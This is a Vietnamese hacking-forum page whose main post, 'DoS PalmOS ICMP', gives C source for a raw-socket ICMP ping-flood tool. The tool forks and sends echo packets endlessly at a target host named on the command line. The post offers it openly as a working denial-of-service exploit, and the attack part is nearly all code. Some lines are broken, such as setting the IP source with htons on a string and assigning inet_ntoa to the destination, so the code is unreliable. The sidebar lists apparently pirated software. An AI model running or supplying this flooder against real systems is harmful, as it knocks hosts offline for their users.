Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» NewBlueFx TotalFX Windows-FL | 1.11 GB
Tue Dec 17, 2013 12:42 pm by titquarra

» NewBlueFx TotalFX Windows-FL | 1.11 GB
Tue Dec 17, 2013 12:42 pm by titquarra

» Celebrity.Sex.Tape.UNCUT.&.UNRATED.2012.720p.BRrip.x264.YIFY.mp4
Tue Dec 17, 2013 8:32 am by titquarra

» Maya Autodesk Personal Learning Edition 8.5
Tue Dec 17, 2013 7:47 am by titquarra

» Tuyệt Kỹ Đong Giai Chân Kinh (tuyệt Kỹ cua trai)
Thu Aug 23, 2012 5:38 am by Admin

» Tuyệt kỹ cua giai
Thu Aug 23, 2012 5:36 am by Admin

» NETCAT.........
Mon Aug 13, 2012 6:35 am by Admin

» Bảo mật CSDL bằng phương pháp mã hóa.
Tue Apr 17, 2012 10:04 pm by Admin

» Hàm mã hóa MD5 bằng JavaScript
Tue Apr 17, 2012 10:03 pm by Admin

Shopmotion


Affiliates
free forum


DoS PalmOS ICMP

View previous topic View next topic Go down

DoS PalmOS ICMP

Post  Admin on Wed Apr 13, 2011 1:29 am

Để khai thác lỗi này, bạn cần liên tiếp gửi gói ICMP_ECHO, mà không chờ hồi âm (bằng fork()'s).

Code:
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
      if(argc < 2) {
              printf("Usage: %s <host>\n", argv[0]);
              exit(0);
      }


      int sock;
      char packet[2000];
      struct sockaddr_in dest;
      struct hostent *host;
      struct iphdr *ip = (struct iphdr *) packet;
      struct icmphdr *icmp = (struct icmp *) packet
+ sizeof(struct iphdr);
      if((host = gethostbyname(argv[1])) == NULL) {
              printf("Couldn't resolve host!\n");
              exit(-1);
      }


      if((sock = socket(AF_INET, SOCK_RAW,
IPPROTO_ICMP)) == -1) {
              printf("Couldn't make socket!\n");
              printf("You must be root to create a
raw socket.\n");
              exit(-1);
      }


      dest.sin_family = AF_INET;
      dest.sin_addr = *((struct in_addr
*)host->h_addr);
      ip->ihl = 5;
      ip->id = htons(1337);
      ip->ttl = 255;
      ip->tos = 0;
      ip->protocol = IPPROTO_ICMP;
      ip->version = 4;
      ip->frag_off = 0;
      ip->saddr = htons("127.0");
      ip->daddr = inet_ntoa(dest.sin_addr);
      ip->tot_len = sizeof(struct iphdr) +
sizeof(struct icmphdr);
      ip->check = 0;
      icmp->checksum = 0;
      icmp->type = ICMP_ECHO;
      icmp->code = 0;
      printf("Ping flooding %s!\n", argv[1]);
      fork();
      fork();
      while(1) {
              sendto(sock, packet, ip->tot_len, 0,
(struct sockaddr *)&dest, sizeof(struct sockaddr));
      }
      return(0);
}


Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

View user profile http://hackis.forumotion.com

Back to top Go down

View previous topic View next topic Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum